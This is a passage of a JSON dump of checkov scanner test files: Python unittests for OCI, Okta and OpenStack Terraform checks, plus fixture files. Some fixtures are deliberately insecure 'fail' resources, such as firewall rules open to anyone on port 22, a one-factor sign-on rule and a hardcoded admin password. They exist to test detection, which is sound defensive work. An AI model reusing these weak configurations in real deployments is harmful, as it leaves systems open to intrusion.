    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.IAMPasswordPolicyUpperCase import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMPasswordPolicyUpperCase(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMPasswordPolicyUpperCase\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_identity_authentication_policy.pass\",\n        }\n        failing_resources = {\n            \"oci_identity_authentication_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_InstanceBootVolumeIntransitEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.InstanceBootVolumeIntransitEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestInstanceBootVolumeIntransitEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_InstanceBootVolumeIntransitEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_instance.pass\",\n        }\n        failing_resources = {\n            \"oci_core_instance.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_InstanceMetadataServiceEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.InstanceMetadataServiceEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestInstanceMetadataServiceEnabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_InstanceMetadataServiceEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_instance.pass\",\n        }\n        failing_resources = {\n            \"oci_core_instance.fail\",\n            \"oci_core_instance.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_InstanceMonitoringEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.InstanceMonitoringEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestInstanceMonitoringEnabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_InstanceMonitoringEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_instance.pass\",\n        }\n        failing_resources = {\n            \"oci_core_instance.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_ObjectStorageEmitEvents.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.ObjectStorageEmitEvents import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestObjectStorageEmitEvents(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ObjectStorageEmitEvents\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_objectstorage_bucket.pass\",\n        }\n        failing_resources = {\n            \"oci_objectstorage_bucket.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_ObjectStorageEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.ObjectStorageEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestObjectStorageEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ObjectStorageEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_objectstorage_bucket.pass\",\n        }\n        failing_resources = {\n            \"oci_objectstorage_bucket.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_ObjectStoragePublic.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.ObjectStoragePublic import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestObjectStoragePublic(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ObjectStoragePublic\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_objectstorage_bucket.pass\",\n            \"oci_objectstorage_bucket.pass2\",\n        }\n        failing_resources = {\n            \"oci_objectstorage_bucket.fail\",\n            \"oci_objectstorage_bucket.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_ObjectStorageVersioning.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.ObjectStorageVersioning import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestObjectStorageVersioning(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ObjectStorageVersioning\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_objectstorage_bucket.pass\",\n        }\n        failing_resources = {\n            \"oci_objectstorage_bucket.fail\",\n            \"oci_objectstorage_bucket.default\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_SecurityGroupUnrestrictedIngress22.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.SecurityGroupUnrestrictedIngress22 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityGroupUnrestrictedIngress22(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityGroupUnrestrictedIngress22\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_network_security_group_security_rule.pass2\",\n            \"oci_core_network_security_group_security_rule.pass3\",\n\n        }\n        failing_resources = {\n            \"oci_core_network_security_group_security_rule.fail\",\n            \"oci_core_network_security_group_security_rule.fail1\",\n            \"oci_core_network_security_group_security_rule.fail2\",\n            \"oci_core_network_security_group_security_rule.fail3\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_SecurityGroupsIngressStatelessSecurityRules.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.SecurityGroupsIngressStatelessSecurityRules import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityGroupsIngressStatelessSecurityRules(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityGroupsIngressStatelessSecurityRules\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_network_security_group_security_rule.pass\",\n        }\n\n        failing_resources = {\n            \"oci_core_network_security_group_security_rule.fail\",\n            \"oci_core_network_security_group_security_rule.fail1\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n        \n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_SecurityListIngress.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.SecurityListIngress import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityListIngress(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityListIngress\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_security_list.pass\",\n        }\n        failing_resources = {\n            \"oci_core_security_list.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_SecurityListIngressStateless.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.SecurityListIngressStateless import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityListIngressStateless(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityListIngressStateless\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_security_list.pass\",\n            \"oci_core_security_list.pass2\",\n            \"oci_core_security_list.pass3\",\n        }\n\n        failing_resources = {\n            \"oci_core_security_list.fail\",\n            \"oci_core_security_list.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_SecurityListIngressStatelessListSyntax.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.SecurityListIngressStateless import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityListIngressStateless(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityListIngressStatelessListSyntax\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_security_list.pass\",\n            \"oci_core_security_list.pass2\",\n            \"oci_core_security_list.pass3\",\n            \"oci_core_security_list.pass4\",\n        }\n\n        failing_resources = {\n            \"oci_core_security_list.fail\",\n            \"oci_core_security_list.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_SecurityListUnrestrictedIngress22.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.SecurityListUnrestrictedIngress22 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityListUnrestrictedIngress22(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityListUnrestrictedIngress22\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        expected_passing_resources = {\n            \"oci_core_security_list.pass0\",\n            \"oci_core_security_list.pass1\",\n            \"oci_core_security_list.pass4\",\n            \"oci_core_security_list.pass5\",\n            \"oci_core_security_list.pass6\",\n        }\n        expected_failing_resources = {\n            \"oci_core_security_list.fail\",\n            \"oci_core_security_list.fail1\",\n            \"oci_core_security_list.fail2\",\n            \"oci_core_security_list.fail3\",\n            \"oci_core_security_list.fail5\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(expected_passing_resources))\n        self.assertEqual(summary[\"failed\"], len(expected_failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(expected_passing_resources, passed_check_resources)\n        self.assertEqual(expected_failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_SecurityListUnrestrictedIngress3389.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.SecurityListUnrestrictedIngress3389 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityListUnrestrictedIngress3389(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityListUnrestrictedIngress3389\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_security_list.pass0\",\n            \"oci_core_security_list.pass1\",\n            \"oci_core_security_list.pass4\",\n            \"oci_core_security_list.pass5\",\n        }\n        failing_resources = {\n            \"oci_core_security_list.fail\",\n            \"oci_core_security_list.fail1\",\n            \"oci_core_security_list.fail2\",\n            \"oci_core_security_list.fail3\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_StorageBlockBackupEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.StorageBlockBackupEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStorageBlockBackupEnabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_StorageBlockBackupEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_volume.pass\",\n        }\n        failing_resources = {\n            \"oci_core_volume.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_StorageBlockEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.StorageBlockEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStorageBlockEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_StorageBlockEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_core_volume.pass\",\n        }\n        failing_resources = {\n            \"oci_core_volume.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/okta/example_TwoFASignOnPolicyRule/main.tf",
    "content": "resource \"okta_app_signon_policy_rule\" \"fail\" {\n  policy_id                   = \"someId\"\n  name                        = \"Some Rule\"\n  factor_mode                 = \"1FA\"\n  re_authentication_frequency = \"PT43800H\"\n}\n\nresource \"okta_app_signon_policy_rule\" \"pass\" {\n  policy_id                   = \"someId\"\n  name                        = \"Some Rule\"\n  factor_mode                 = \"2FA\"\n  re_authentication_frequency = \"PT43800H\"\n}\n\n# default is 2FA so missing factor_mode satisfies rule\nresource \"okta_app_signon_policy_rule\" \"pass2\" {\n  policy_id                   = \"someId\"\n  name                        = \"Some Rule\"\n  re_authentication_frequency = \"PT43800H\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/okta/test_TwoFASignOnPolicyRule.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.okta.TwoFASignOnPolicyRule import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestTwoFASignOnPolicyRule(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_TwoFASignOnPolicyRule\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'okta_app_signon_policy_rule.pass',\n            'okta_app_signon_policy_rule.pass2'\n        }\n        failing_resources = {\n            'okta_app_signon_policy_rule.fail'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/openstack/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/openstack/example_ComputeInstanceAdminPassword/main.tf",
    "content": "\nresource \"openstack_compute_instance_v2\" \"fail\" {\n  name            = \"basic\"\n  image_id        = \"ad091b52-742f-469e-8f3c-fd81cadf0743\"\n  flavor_id       = \"3\"\n  admin_pass      = \"N0tSoS3cretP4ssw0rd\"  # checkov:skip=CKV_SECRET_6 test secret\n  security_groups = [\"default\"]\n  user_data       = \"#cloud-config\\nhostname: instance_1.example.com\\nfqdn: instance_1.example.com\"\n\n  network {\n    name = \"my_network\"\n  }\n}\n\n\nresource \"openstack_compute_instance_v2\" \"pass\" {\n  name            = \"basic\"\n  image_id        = \"ad091b52-742f-469e-8f3c-fd81cadf0743\"\n  flavor_id       = \"3\"\n  security_groups = [\"default\"]\n  user_data       = \"#cloud-config\\nhostname: instance_1.example.com\\nfqdn: instance_1.example.com\"\n\n  network {\n    name = \"my_network\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/openstack/example_FirewallRuleSetDestinationIP/main.tf",
    "content": "resource \"openstack_fw_rule_v1\" \"fail\" {\n  name             = \"my_rule_world\"\n  description      = \"let anyone in\"\n  action           = \"allow\"\n  protocol         = \"tcp\"\n  destination_port = \"22\"\n  enabled          = \"true\"\n  # destination_ip_address = \"10.0.0.1\"\n}\n\nresource \"openstack_fw_rule_v1\" \"fail-cidr\" {\n  name                   = \"my_small_world\"\n  description            = \"let anyone in\"\n  action                 = \"allow\"\n  protocol               = \"tcp\"\n  destination_port       = \"22\"\n  enabled                = \"true\"\n  destination_ip_address = \"0.0.0.0/0\"\n}\n\nresource \"openstack_fw_rule_v1\" \"pass\" {\n  name                   = \"my_small_world\"\n  description            = \"let anyone in\"\n  action                 = \"allow\"\n  protocol               = \"tcp\"\n  destination_port       = \"22\"\n  enabled                = \"true\"\n  destination_ip_address = \"10.0.0.1\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/openstack/test_ComputeInstanceAdminPassword.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.openstack.ComputeInstanceAdminPassword import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestComputeInstanceAdminPassword(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ComputeInstanceAdminPassword\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"openstack_compute_instance_v2.pass\",\n        }\n        failing_resources = {\n            \"openstack_compute_instance_v2.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/openstack/test_FirewallRuleSetDestinationIP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.openstack.FirewallRuleSetDestinationIP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFirewallRuleSetDestinationIP(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_FirewallRuleSetDestinationIP\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"openstack_fw_rule_v1.pass\",\n        }\n        failing_resources = {\n            \"openstack_fw_rule_v1.fail\",\n            \"openstack_fw_rule_v1.fail-cidr\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/openstack/test_SecurityGroupUnrestrictedIngress22.py",
